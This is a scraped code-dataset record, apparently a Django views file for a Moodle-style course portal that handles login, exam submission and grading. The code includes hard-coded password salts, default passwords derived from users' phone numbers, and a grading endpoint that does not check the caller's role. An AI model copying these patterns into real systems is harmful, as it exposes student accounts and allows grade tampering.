"usage_type": "call"}, {"api_name": "numpy.array", "line_number": 300, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 301, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 302, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 303, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 304, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 307, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 312, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 313, "usage_type": "call"}, {"api_name": "torch.nn.Module", "line_number": 316, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 316, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 320, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 320, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 321, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 321, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 322, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 322, "usage_type": "name"}, {"api_name": "torch.nn.functional.relu", "line_number": 327, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 327, "usage_type": "name"}, {"api_name": "torch.nn.functional.relu", "line_number": 329, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 329, "usage_type": "name"}, {"api_name": "torch.tanh", "line_number": 330, "usage_type": "call"}, {"api_name": "torch.nn.Module", "line_number": 334, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 334, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 338, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 338, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 339, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 339, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 340, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 340, "usage_type": "name"}, {"api_name": "torch.cat", "line_number": 343, "usage_type": "call"}, {"api_name": "torch.nn.functional.relu", "line_number": 345, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 345, "usage_type": "name"}, {"api_name": "torch.nn.functional.relu", "line_number": 347, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 347, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 353, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 363, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 365, "usage_type": "call"}, {"api_name": "torch.sign", "line_number": 394, "usage_type": "call"}, {"api_name": "torch.sqrt", "line_number": 394, "usage_type": "call"}, {"api_name": "torch.abs", "line_number": 394, "usage_type": "call"}, {"api_name": "torch.sqrt", "line_number": 401, "usage_type": "call"}, {"api_name": "torch.abs", "line_number": 401, "usage_type": "call"}, {"api_name": "torch.sign", "line_number": 402, "usage_type": "call"}, {"api_name": "torch.FloatTensor", "line_number": 409, "usage_type": "call"}, {"api_name": "torch.from_numpy", "line_number": 421, "usage_type": "call"}, {"api_name": "torch.from_numpy", "line_number": 422, "usage_type": "call"}, {"api_name": "torch.from_numpy", "line_number": 423, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 423, "usage_type": "call"}, {"api_name": "torch.from_numpy", "line_number": 424, "usage_type": "call"}, {"api_name": "torch.from_numpy", "line_number": 425, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 425, "usage_type": "call"}, {"api_name": "torch.min", "line_number": 435, "usage_type": "call"}, {"api_name": "torch.min", "line_number": 440, "usage_type": "call"}, {"api_name": "torch.abs", "line_number": 442, "usage_type": "call"}, {"api_name": "numpy.random.normal", "line_number": 486, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 486, "usage_type": "attribute"}, {"api_name": "ray.remote", "line_number": 367, "usage_type": "call"}, {"api_name": "dtd3_pb2_grpc.LearnerServicer", "line_number": 541, "usage_type": "attribute"}, {"api_name": "json.loads", "line_number": 594, "usage_type": "call"}, {"api_name": "torch.FloatTensor", "line_number": 598, "usage_type": "call"}, {"api_name": "dtd3_pb2.BufferStatus", "line_number": 617, "usage_type": "call"}, {"api_name": "ray.wait", "line_number": 641, "usage_type": "call"}, {"api_name": "ray.get", "line_number": 646, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 669, "usage_type": "call"}, {"api_name": "dtd3_pb2.BufferResponse", "line_number": 670, "usage_type": "call"}, {"api_name": "torch.FloatTensor", "line_number": 696, "usage_type": "call"}, {"api_name": "numpy.arccos", "line_number": 708, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 708, "usage_type": "call"}, {"api_name": "numpy.pi", "line_number": 708, "usage_type": "attribute"}, {"api_name": "numpy.sum", "line_number": 709, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 714, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 715, "usage_type": "call"}, {"api_name": "dtd3_pb2.AgentStats", "line_number": 717, "usage_type": "call"}, {"api_name": "logging.basicConfig", "line_number": 723, "usage_type": "call"}, {"api_name": "grpc.server", "line_number": 728, "usage_type": "call"}, {"api_name": "concurrent.futures.ThreadPoolExecutor", "line_number": 728, "usage_type": "call"}, {"api_name": "concurrent.futures", "line_number": 728, "usage_type": "name"}, {"api_name": "dtd3_pb2_grpc.add_LearnerServicer_to_server", "line_number": 729, "usage_type": "call"}, {"api_name": "ray.is_initialized", "line_number": 742, "usage_type": "call"}, {"api_name": "ray.shutdown", "line_number": 743, "usage_type": "call"}]}
{"seq_id": "22971375349", "text": "import base64\r\nfrom openpyxl import Workbook, load_workbook\r\nimport hmac\r\nimport time\r\nimport uuid\r\nimport jwt\r\nimport datetime\r\n\r\nfrom django.core.files.base import ContentFile\r\nfrom django.db.models import Q, F\r\nfrom django.http import HttpResponse,JsonResponse\r\nfrom django.shortcuts import redirect, render\r\nfrom django.views import View\r\n# import smtplib\r\n# from email.mime.text import MIMEText\r\n# from email.header import Header\r\nfrom collections import Counter\r\n\r\nfrom moodle.models import *\r\nfrom users.models import Users\r\nfrom tool.session_token import check_session_token, make_session_token\r\n\r\n# ▼ ▼ ▼ ▼ ▼ ▼ ▼ ▼ ▼ ▼ ▼ ▼ ▼ ▼ 基础设置 ▼ ▼ ▼ ▼ ▼ ▼ ▼ ▼ ▼ ▼ ▼ ▼ ▼ ▼\r\n\r\n\r\nsalt = b'cso_canada_summer'  # 密码盐\r\n\r\nsalt_t = 'cso_canada_summer_w'  #token盐\r\nexpire = 6  #token超时时间\r\n\r\n\r\nclass Role:\r\n    '''\r\n    权限等级\r\n    现有权限等级(将新增 role 字段放入对应等级列表中):\r\n        普通权限 PermissionsL : 仅可获取自己(token中对应的)obj对象数据\r\n        I级权限 PermissionsI : 可获取任意指定对象数据\r\n    '''\r\n\r\n    def __init__(self):\r\n        self.PermissionsL = ['stu']\r\n        self.PermissionsI = ['prof']\r\n        # self.PermissionsII = []\r\n        # self.PermissionsIII = []\r\n\r\n\r\n# ▲ ▲ ▲ ▲ ▲ ▲ ▲ ▲ ▲ ▲ ▲ ▲ ▲ ▲ 基础设置 ▲ ▲ ▲ ▲ ▲ ▲ ▲ ▲ ▲ ▲ ▲ ▲ ▲ ▲\r\n\r\npass\r\n\r\n\r\n\r\n# ▼ --------------------------------------- ▼  user_views  ▼ --------------------------------------- ▼\r\n\r\n\r\n# class MoodleUsersMsg(View):\r\n#     '''\r\n#     所有用户/注册\r\n#     '''\r\n#\r\n#     @check_token\r\n#\r\n#     def post(self, request):\r\n#         '''\r\n#         注册\r\n#         :param request:\r\n#         :return:\r\n#         '''\r\n#\r\n#         # json格式检查\r\n#         try:\r\n#             account = request.data['m_ac']\r\n#             password = request.data['m_ps']\r\n#             E_code = request.data['E_code']\r\n#         except:\r\n#             return JsonResponse({\r\n#                 'code': 40407,\r\n#                 'data': 'json参数有误'\r\n#             })\r\n#\r\n#         # 查重\r\n#         try:\r\n#             MoodleUser.objects.get(m_ac=account)\r\n#             return JsonResponse({\r\n#                 'code': 40401,\r\n#                 'data': '该账户已存在,无法注册'\r\n#             })\r\n#         except:\r\n#             pass\r\n#\r\n#         # 验证码验证\r\n#         try:\r\n#             E_obj = EmailCode.objects.get(Email=account)\r\n#             E_time = E_obj.E_time\r\n#             interval = float(time.time() - float(E_time))\r\n#             # 超时验证 10min\r\n#             if interval > 600:\r\n#                 return JsonResponse({\r\n#                     'code': 40409,\r\n#                     'data': '验证码已失效'\r\n#                 })\r\n#\r\n#             # 验证码相同 进行注册\r\n#             if E_code == E_obj.E_code:\r\n#                 h = hmac.new(salt, password.encode(), digestmod='sha256')\r\n#                 m_ps_h = h.hexdigest()\r\n#\r\n#                 new_data = {\r\n#                     'm_ac': account,\r\n#                     'm_ps': m_ps_h\r\n#                 }\r\n#\r\n#                 serializer = UserSerializer(data=new_data)\r\n#                 if serializer.is_valid():\r\n#                     q_obj = serializer.save()\r\n#\r\n#                     # 生成token\r\n#                     token = make_token(m_ac_id=q_obj.pk)\r\n#\r\n#                     return JsonResponse({\r\n#                         'code': 200,\r\n#                         'data': {'token': token.decode()}\r\n#                     })\r\n#                 else:\r\n#                     return JsonResponse({\r\n#                         'code': 40402,\r\n#                         'data': serializer.errors\r\n#                     })\r\n#\r\n#             # 验证码不相同\r\n#             else:\r\n#                 return JsonResponse({\r\n#                     'code': 40410,\r\n#                     'data': '验证码错误'\r\n#                 })\r\n#\r\n#         except:\r\n#             # 数据库无当前用户验证码数据\r\n#             return JsonResponse({\r\n#                 'code': 40408,\r\n#                 'data': '未获取验证码'\r\n#             })\r\n\r\n\r\n\r\n\r\n\r\n\r\n# class MoodleUserMsg(View):\r\n#     '''\r\n#     指定用户\r\n#     '''\r\n#\r\n#     @check_token\r\n#     def get(self, request, pk=None):\r\n#         role = request.role\r\n#\r\n#         # 普通权限或无查询字串\r\n#         if (role in Role().PermissionsL) or (pk == None):\r\n#             serializer = UserSerializer(instance=request.user_obj)\r\n#             return JsonResponse({\r\n#                 'code': 200,\r\n#                 'data': serializer.data\r\n#             })\r\n#\r\n#         # I级权限\r\n#         elif role in Role().PermissionsI:\r\n#             try:\r\n#                 q_obj = MoodleUser.objects.get(id=pk)\r\n#             except:\r\n#                 return JsonResponse({\r\n#                     'code': 40412,\r\n#                     'data': '你要查询的用户不存在'\r\n#                 })\r\n#             serializer = UserSerializer(instance=q_obj)\r\n#             return JsonResponse({\r\n#                 'code': 200,\r\n#                 'data': serializer.data\r\n#             })\r\n#\r\n#     @check_token\r\n#     def put(self, request, pk=None):\r\n#         role = request.role\r\n#\r\n#         # 普通权限或无查询字串\r\n#         if (role in Role().PermissionsL) or (pk == None):\r\n#             serializer = UserSerializer(instance=request.user_obj, data=request.data)\r\n#             if serializer.is_valid():\r\n#                 _q_obj = serializer.save()\r\n#                 return JsonResponse({\r\n#                     'code': 200,\r\n#                     'data': _q_obj.pk\r\n#                 })\r\n#             else:\r\n#                 return JsonResponse({\r\n#                     'code': 40404,\r\n#                     'data': serializer.errors\r\n#                 })\r\n#\r\n#         # I级权限\r\n#         elif role in Role().PermissionsI:\r\n#             try:\r\n#                 q_obj = MoodleUser.objects.get(id=pk)\r\n#             except:\r\n#                 return JsonResponse({\r\n#                     'code': 40403,\r\n#                     'data': '你要修改的用户不存在'\r\n#                 })\r\n#\r\n#             serializer = UserSerializer(instance=q_obj, data=request.data)\r\n#             if serializer.is_valid():\r\n#                 _q_obj = serializer.save()\r\n#                 return JsonResponse({\r\n#                     'code': 200,\r\n#                     'data': _q_obj.pk\r\n#                 })\r\n#             else:\r\n#                 return JsonResponse({\r\n#                     'code': 40404,\r\n#                     'data': serializer.errors\r\n#                 })\r\n#\r\n#     # def delete(self,request,m_ac):\r\n#     #     try:\r\n#     #         q_obj = Moodle.objects.get(m_account=m_ac)\r\n#     #     except:\r\n#     #         return JsonResponse({\r\n#     #             'code': 40405,\r\n#     #             'data': '你要删除的用户不存在'\r\n#     #         })\r\n#     #\r\n#     #     q_obj.delete()\r\n#     #     return JsonResponse({\r\n#     #         'code':200,\r\n#     #         'data':'删除成功'\r\n#     #     })\r\n#\r\n# # ▲ --------------------------------------- ▲  user_views  ▲ --------------------------------------- ▲\r\n# pass\r\n#\r\n#\r\n# # ▼ --------------------------------------- ▼ course_views ▼ --------------------------------------- ▼\r\n#\r\n# class MoodleLearnData(View):\r\n#     '''\r\n#     用户学习数据\r\n#     '''\r\n#\r\n#     @check_token\r\n#     def put(self,request,judge):\r\n#\r\n#         #获取CUS对象\r\n#         try:\r\n#             course = int(request.data['course'])\r\n#             json_data = request.data['data']\r\n#             CUS_obj = request.user_obj.m_cus.get(moodle_course=course)\r\n#         except:\r\n#             return JsonResponse({\r\n#                 'code':40417,\r\n#                 'data':'json参数有误'\r\n#             })\r\n#\r\n#         #修改用户观看视频时长\r\n#         if judge == 'time':\r\n#             # 重写data\r\n#             time = int(json_data) + CUS_obj.time\r\n#             data = {\r\n#                 'time': time\r\n#             }\r\n#\r\n#             serializer = CUSSerializer(instance=CUS_obj,data=data)\r\n#             if serializer.is_valid():\r\n#                 serializer.save()\r\n#                 return JsonResponse({\r\n#                     'code': 200,\r\n#                     'data': 'OK'\r\n#                 })\r\n#             else:\r\n#                 return JsonResponse({\r\n#                     'code': 40416,\r\n#                     'data': serializer.errors\r\n#                 })\r\n#\r\n#         #修改用户观看视频进度\r\n#         elif judge == 'progress':\r\n#\r\n#             video_num = len(CUS_obj.moodle_course.m_video.all())\r\n#             data_progress = int(json_data) / video_num\r\n#             if data_progress > 1:\r\n#                 return JsonResponse({\r\n#                     'code':40418,\r\n#                     'data':'data值不在范围内'\r\n#                 })\r\n#             print(video_num , data_progress)\r\n#\r\n#             if data_progress <= CUS_obj.progress:\r\n#                 return JsonResponse({\r\n#                     'code':200,\r\n#                     'data':'PASS'\r\n#                 })\r\n#\r\n#             else:\r\n#                 # 重写data\r\n#                 data = {\r\n#                     'progress': data_progress\r\n#                 }\r\n#\r\n#                 serializer = CUSSerializer(instance=CUS_obj, data=data)\r\n#                 if serializer.is_valid():\r\n#                     serializer.save()\r\n#                     return JsonResponse({\r\n#                         'code': 200,\r\n#                         'data': 'OK'\r\n#                     })\r\n#                 else:\r\n#                     return JsonResponse({\r\n#                         'code': 40416,\r\n#                         'data': serializer.errors\r\n#                     })\r\n#\r\n#         #API不存在\r\n#         else:\r\n#             return JsonResponse({\r\n#                 'code':404,\r\n#                 'data':'API不存在'\r\n#             })\r\n#\r\n#\r\n# class MoodleCoursesMsg(View):\r\n#     '''\r\n#     所有课程(学科)\r\n#     '''\r\n#\r\n#     @check_token\r\n#     def get(self, request):\r\n#\r\n#         #获取学科查询结果集\r\n#         s_q_set = MoodleSubject.objects.all()\r\n#         #新建学科-课程列表\r\n#         sub_cou_list = []\r\n#\r\n#         #遍历学科查询结果集\r\n#         for s in s_q_set:\r\n#             #序列化学科数据\r\n#             s_dic = SubjectSerializer(instance=s).data\r\n#             #序列化学科旗下课程数据\r\n#             c_dic = CourseSerializer(instance=s.m_course.all(),many=True,excludes=['subject','m_user']).data\r\n#             #学科数据中添加课程数据\r\n#             s_dic['course'] = c_dic\r\n#             #学科-课程列表中添加更改后的学科数据\r\n#             sub_cou_list.append(s_dic)\r\n#\r\n#\r\n#\r\n#         return JsonResponse({\r\n#             'code':200,\r\n#             'data':sub_cou_list\r\n#         })\r\n#\r\n#\r\n# class MoodleCourseMsg(View):\r\n#     '''\r\n#     我的课程/指定学员的课程\r\n#     '''\r\n#\r\n#     @check_token\r\n#     def get(self,request,pk=None):\r\n#         if not pk:\r\n#             user_obj = request.user_obj\r\n#             my_course = user_obj.m_course.all()\r\n#\r\n#             serializer = CourseSerializer(instance=my_course,many=True)\r\n#             for i in serializer.data:\r\n#                 cus_obj = user_obj.m_cus.get(moodle_course = i['id'])\r\n#\r\n#                 i['time'] = cus_obj.time\r\n#                 i['progress'] = cus_obj.progress\r\n#\r\n#             return JsonResponse({\r\n#                 'code':200,\r\n#                 'data':serializer.data\r\n#             })\r\n#\r\n#         else:\r\n#             try:\r\n#                 user_obj = MoodleUser.objects.get(id=pk)\r\n#             except:\r\n#                 return JsonResponse({\r\n#                     'code': 40412,\r\n#                     'data': '你要查询的用户不存在'\r\n#                 })\r\n#             my_course = user_obj.m_course.all()\r\n#             serializer = CourseSerializer(instance=my_course,many=True)\r\n#             return JsonResponse({\r\n#                 'code': 200,\r\n#                 'data': serializer.data\r\n#             })\r\n#\r\n# # ▲ --------------------------------------- ▲ course_views ▲ --------------------------------------- ▲\r\n\r\n\r\nclass Login(View):\r\n    '''\r\n    用户登录\r\n    '''\r\n    # def post(self, request):\r\n    #\r\n    #     # json格式检查\r\n    #     try:\r\n    #         password = request.data['m_ps']\r\n    #         account = request.data['m_ac']\r\n    #     except:\r\n    #         return JsonResponse({\r\n    #             'code': 40413,\r\n    #             'data': 'json参数有误'\r\n    #         })\r\n    #\r\n    #     # 数据库查询\r\n    #     try:\r\n    #         user_obj = MoodleUser.objects.get(m_ac=account)\r\n    #         h = hmac.new(salt, password.encode(), digestmod='sha256')\r\n    #         m_ps_h = h.hexdigest()\r\n    #\r\n    #         # 密码比对\r\n    #         if user_obj.m_ps == m_ps_h:\r\n    #             token = make_token(m_ac_id=user_obj.pk)\r\n    #             return JsonResponse({\r\n    #                 'code': 200,\r\n    #                 'data': {'token': token.decode()}\r\n    #             })\r\n    #\r\n    #         else:\r\n    #             return JsonResponse({\r\n    #                 'code': 40414,\r\n    #                 'data': '密码错误'\r\n    #             })\r\n    #\r\n    #     except Exception as e:\r\n    #         print(e)\r\n    #         return JsonResponse({\r\n    #             'code': 40415,\r\n    #             'data': '你要登陆的用户不存在'\r\n    #         })\r\n\r\n    def get(self,request):\r\n\r\n        return render(request,'moodle/login.html')\r\n\r\n    def post(self, request):\r\n\r\n        # 格式检查\r\n        try:\r\n\r\n            account = request.POST['m_ac']\r\n            password = request.POST['m_ps']\r\n            h = hmac.new(salt, password.encode(), digestmod='sha256')\r\n            m_ps_h = h.hexdigest()\r\n        except:\r\n            return JsonResponse({\r\n                'code': 40413,\r\n                'data': 'json参数有误'\r\n            })\r\n\r\n        # 数据库查询\r\n        # 判断小程序数据库有无数据\r\n        try:\r\n            # 小程序有数据\r\n            user_obj = Users.objects.get(firstEmail=account,isActive='true')\r\n\r\n            # 判断moodle数据库有无数据\r\n            try:\r\n                MoodleUser.objects.get(m_ac=account)\r\n            except:\r\n\r\n                # 不存在创建数据\r\n                new_m_user = MoodleUser()\r\n                new_m_user.m_ac = user_obj.firstEmail\r\n                h = hmac.new(salt, user_obj.domesticTelephone.encode(), digestmod='sha256')\r\n                new_m_ps_h = h.hexdigest()\r\n                new_m_user.m_ps = new_m_ps_h\r\n                new_m_user.users = user_obj\r\n                new_m_user.nick = user_obj.username\r\n                new_m_user.save()\r\n\r\n            # 判断账号密码是否正确\r\n            m_user_obj = MoodleUser.objects.get(m_ac=account)\r\n\r\n            if m_user_obj.m_ps == m_ps_h:\r\n                # 正确\r\n                token = make_session_token(m_ac_id=m_user_obj.id)\r\n\r\n                return_obj = redirect(\"course\")\r\n\r\n                return_obj.set_cookie('token',token.decode())\r\n\r\n                # request.session['authorization'] = {'token': token.decode(), 'user': m_user_obj.nick, 'role': m_user_obj.role}\r\n\r\n                return return_obj\r\n\r\n            else:\r\n\r\n                 return render(request,'moodle/login.html', {'msg': \"密码错误\"})\r\n\r\n        except:\r\n            # 小程序无数据 判断moodle数据库有无数据\r\n\r\n            try:\r\n                # moodle数据库有数据\r\n                MoodleUser.objects.get(m_ac=account)\r\n                # 判断账号密码是否正确\r\n                m_user_obj = MoodleUser.objects.get(m_ac=account)\r\n\r\n                if m_user_obj.m_ps == m_ps_h:\r\n                    # 正确\r\n                    token = make_session_token(m_ac_id=m_user_obj.id)\r\n\r\n                    return_obj = redirect(\"course\")\r\n\r\n                    return_obj.set_cookie('token', token.decode())\r\n\r\n                    return return_obj\r\n\r\n\r\n                else:\r\n                    # moodle数据库无数据\r\n                     return render(request,'moodle/login.html', {'msg': \"密码错误\"})\r\n            except:\r\n                pass\r\n\r\n            return render(request,'moodle/login.html', {'msg': \"密码错误\"})\r\n\r\n\r\n\r\n# class Index(View):\r\n#\r\n#     def get(self,request):\r\n#         return render(request,'moodle/index.html')\r\n\r\n\r\n\r\nclass Contact(View):\r\n\r\n    @check_session_token\r\n    def get(self,request):\r\n        return render(request,'moodle/contact.html', {'notice': MoodleNotice.objects.all()})\r\n\r\n\r\nclass User(View):\r\n\r\n    @check_session_token\r\n    def get(self, request):\r\n        # print(request.user_obj.__dict__)\r\n\r\n        notice = MoodleNotice.objects.all()\r\n\r\n        user = request.user_obj.users\r\n        try:\r\n            school = request.user_obj.users.school.get(func='zs')\r\n        except:\r\n            school = '暂无信息'\r\n\r\n        return render(request, 'moodle/user.html', locals())\r\n\r\n\r\n# -----------------#\r\nclass Correct(View):\r\n    '''\r\n    教授批改作业，学生答卷，学生查看教授批阅的答卷\r\n    '''\r\n    @check_session_token\r\n    def get(self, request, exam_name, course_id):\r\n\r\n        user_obj = request.user_obj\r\n\r\n        # 确认课程权限\r\n        queryset = user_obj.m_cus.filter(moodle_course__id=course_id)\r\n\r\n        exam_info = MoodleExam.objects.filter(Q(exam_name=exam_name) & Q(moodle_course__id=course_id)).first()\r\n\r\n        if queryset:\r\n\r\n            if user_obj.role == \"prof\":\r\n\r\n                course = user_obj.m_course.filter(id=course_id).first()\r\n                all_stu_list = course.m_cus.filter(moodle_user__role='stu')\r\n\r\n\r\n                exam_list = MoodleExamStu.objects.filter(Q(exam_name=exam_name) & Q(moodle_course=course_id) & ~Q(exam_answer='',content=None))\r\n\r\n                exam_user_list = [user.moodle_user for user in exam_list]\r\n\r\n                no_sub = [all_user for all_user in all_stu_list if all_user.moodle_user not in exam_user_list]\r\n\r\n                this_time = datetime.datetime.now()\r\n\r\n                if (this_time > exam_info.end_time):\r\n                    show = 'show'\r\n                else:\r\n                    show = ''\r\n\r\n\r\n                return render(request, 'moodle/correct.html', {\"exam_info\":exam_info, \"exam_list\": exam_list, 'notice': MoodleNotice.objects.all(),'no_sub':no_sub,'show':show})\r\n\r\n            else:\r\n\r\n                linshi = user_obj.m_linshi_stu.filter(Q(exam_name=exam_name) & Q(moodle_course__id=course_id)).first()\r\n\r\n                stu_exam = user_obj.m_exam_stu.filter(Q(exam_name=exam_name) & Q(moodle_course__id=course_id)).first()\r\n\r\n                if stu_exam:\r\n                    tt = stu_exam.exam_answer or stu_exam.content\r\n                else:\r\n                    tt = \"\"\r\n\r\n                # print(\"exam\", stu_exam)\r\n\r\n\r\n                # 当前时间\r\n                this_time = datetime.datetime.now()\r\n\r\n                if (this_time > exam_info.end_time) or tt:\r\n                    # 当前时间大于考试结束时间。考试结束\r\n\r\n                    exam_state = \"closed\"\r\n                    return render(request, 'moodle/my_exam.html', {\"stu_exam\": stu_exam, 'user': user_obj, 'notice': MoodleNotice.objects.all()})\r\n\r\n                elif this_time > exam_info.start_time:\r\n                    # 当前时间大于考试时间,考试开放\r\n                    exam_state = \"open\"\r\n\r\n                else:\r\n                    # 考试未开放\r\n                    exam_state = \"Unopen\"\r\n\r\n                return render(request, 'moodle/exam.html', {\"this_time\": this_time, \"exam_state\": exam_state, \"exam_info\": exam_info, 'user': user_obj, 'notice': MoodleNotice.objects.all(), 'linshi': linshi})\r\n\r\n\r\n    @check_session_token\r\n    def post(self, request, exam_name, course_id):\r\n\r\n        user_obj = request.user_obj\r\n\r\n        ExamStu = MoodleExamStu.objects.filter(exam_name=exam_name,moodle_user=user_obj,moodle_course__id=course_id)\r\n\r\n        if ExamStu:\r\n            ExamStu = ExamStu.first()\r\n        else:\r\n            ExamStu = MoodleExamStu()\r\n\r\n        ExamStu.exam_name = exam_name\r\n\r\n        ExamStu.moodle_user = user_obj\r\n\r\n        ExamStu.moodle_course = MoodleCourse.objects.get(id=course_id)\r\n\r\n\r\n\r\n        try:\r\n\r\n            image = request.POST['image']\r\n\r\n            e_type = request.POST['type']\r\n            if e_type == 'online':\r\n                # result = image.split(',')\r\n\r\n                # image_data = base64.b64decode(result[1])\r\n                # imagene = ContentFile(image_data, exam_name + str(user_obj.id) + '.jpg')\r\n\r\n                # ExamStu.exam_answer = imagene\r\n\r\n                ExamStu.content = image.replace(\"\\\\\", \"╲\")\r\n\r\n                ExamStu.save()\r\n\r\n                return JsonResponse({\"save\": True})\r\n\r\n\r\n        except:\r\n\r\n            try:\r\n\r\n                # print(request.FILES['image'])\r\n\r\n                image = request.FILES['image']\r\n\r\n                ExamStu.exam_answer = image\r\n\r\n                ExamStu.save()\r\n\r\n                return redirect(request.path_info)\r\n            except Exception as e:\r\n                print('--------------------',e)\r\n\r\n\r\n\r\nclass Marking(View):\r\n    '''\r\n    阅卷\r\n    '''\r\n    @check_session_token\r\n    def get(self, request, course_id, exam_id):\r\n\r\n        this_time = datetime.datetime.now()\r\n\r\n        # print(request.GET['stu_id'])\r\n\r\n        user_obj = request.user_obj\r\n\r\n        if exam_id == 'None':\r\n            queryset = user_obj.m_cus.filter(moodle_course__id=course_id)\r\n\r\n\r\n            try:\r\n                moodle_user_obj = MoodleUser.objects.get(id=request.GET['stu_id'])\r\n\r\n\r\n\r\n                stu_exam = MoodleExamStu.objects.get(moodle_user=moodle_user_obj,exam_name=request.GET['exam_name'],moodle_course=queryset.first().moodle_course)\r\n\r\n\r\n\r\n            except Exception as e:\r\n                stu_exam = MoodleExamStu()\r\n\r\n\r\n            if queryset:\r\n                if user_obj.role == \"prof\":\r\n\r\n                    \r\n\r\n                    # exam_info = user_obj.m_exam.filter(exam_name=request.GET['exam_name']).first()\r\n                    exam_info = MoodleExam.objects.filter(Q(exam_name=request.GET['exam_name']) & Q(moodle_course__id=course_id)).first()\r\n\r\n                    stu_exam.exam_name = request.GET['exam_name']\r\n                    stu_exam.moodle_user = MoodleUser.objects.get(id=request.GET['stu_id'])\r\n                    stu_exam.moodle_course = queryset.first().moodle_course\r\n\r\n                    stu_exam.save()\r\n\r\n                    try:\r\n                        return render(request, 'moodle/exam.html', {'this_time':this_time, 'stu_exam': stu_exam, 'user': user_obj, 'notice': MoodleNotice.objects.all(), 'exam_info':exam_info})\r\n                    except Exception as e:\r\n                        return HttpResponse(e)\r\n\r\n\r\n        else:\r\n\r\n            # 确认课程权限\r\n            queryset = user_obj.m_cus.filter(moodle_course__id=course_id)\r\n            stu_exam = MoodleExamStu.objects.filter(id=exam_id).first()\r\n\r\n            if queryset:\r\n                if user_obj.role == \"prof\":\r\n                    \r\n                    # exam_info = user_obj.m_exam.filter(exam_name=request.GET['exam_name']).first()\r\n                    exam_info = MoodleExam.objects.filter(Q(exam_name=request.GET['exam_name']) & Q(moodle_course__id=course_id)).first()\r\n\r\n\r\n                    return render(request, 'moodle/exam.html', {'this_time':this_time, 'stu_exam': stu_exam, 'user': user_obj, 'notice': MoodleNotice.objects.all(), 'exam_info':exam_info})\r\n\r\n    @check_session_token\r\n    def post(self, request, course_id, exam_id):\r\n        # print(1111111111111111111111111111111111111,exam_id,request.path)\r\n        queryset = MoodleExamStu.objects.filter(id=exam_id).first()\r\n\r\n        score = request.POST[\"score\"]\r\n        if not score:\r\n            score = 0\r\n\r\n        if queryset:\r\n            try:\r\n                e_type = request.POST['type']\r\n                if e_type == 'online':\r\n                    image = request.POST['image']\r\n\r\n                    result = image.split(',')\r\n\r\n                    image_data = base64.b64decode(result[1])\r\n                    imagene = ContentFile(image_data, exam_id+'.jpg')\r\n\r\n                    queryset.exam_results = imagene\r\n                    queryset.exam_score = float(score)\r\n                    queryset.save()\r\n                    return JsonResponse({\"save\": True})\r\n            except:\r\n\r\n                try:\r\n                    image = request.FILES['image']\r\n                    queryset.exam_results = image\r\n                except:\r\n                    queryset.exam_results = 'py.jpg'\r\n                    queryset.exam_answer = 'py.jpg'\r\n\r\n                queryset.exam_score = float(score)\r\n                queryset.save()\r\n                \r\n                url_path =f\"/v1/moodle/correct/{course_id}/{queryset.exam_name}\"\r\n\r\n                return redirect(url_path)\r\n\r\n\r\nclass Credits(View):\r\n    '''\r\n    学分认证\r\n    '''\r\n\r\n    @check_session_token\r\n    def get(self, request):\r\n        user_obj = request.user_obj\r\n\r\n        grade_list = user_obj.m_cus.all()\r\n\r\n        return render(request, 'moodle/credits.html', {'grade_list': grade_list, 'user': user_obj, 'notice': MoodleNotice.objects.all()})\r\n\r\n\r\nclass Score(View):\r\n    '''\r\n    教授设置学生总成绩\r\n    '''\r\n\r\n    @check_session_token\r\n    def get(self, request):\r\n        user_obj = request.user_obj\r\n        course_list = user_obj.m_course.all()\r\n\r\n        return render(request, 'moodle/score.html', {'course_list': course_list, 'notice': MoodleNotice.objects.all()})\r\n\r\n\r\nclass ShowScore(View):\r\n    '''\r\n    教授查看某课所有学生列表\r\n    '''\r\n    @check_session_token\r\n    def get(self, request, course_id):\r\n        user_obj = request.user_obj\r\n        course = user_obj.m_course.filter(id=course_id).first()\r\n        all_stu_list = course.m_cus.filter(moodle_user__role='stu')\r\n\r\n        try:\r\n\r\n            D = []\r\n            for stu in all_stu_list:\r\n                st = {}\r\n                st['stu'] = stu\r\n                st['exam_list'] = []\r\n\r\n\r\n                sum_list = []\r\n\r\n                for exam in stu.moodle_user.m_exam_stu.filter(moodle_course__id=course_id):\r\n                    exam_list = {}\r\n                    exam_list['exam'] = exam\r\n\r\n                    score = exam_list['exam'].exam_score\r\n                    if not score:\r\n                        score = 0\r\n\r\n\r\n                    queryset = MoodleExam.objects.filter(Q(exam_name=exam_list['exam'].exam_name) & Q(moodle_course__id=course_id)).first()\r\n                    exam_list['rate'] = queryset.rate\r\n                    exam_list['result'] = float(score)*int(exam_list['rate'])/100\r\n\r\n                    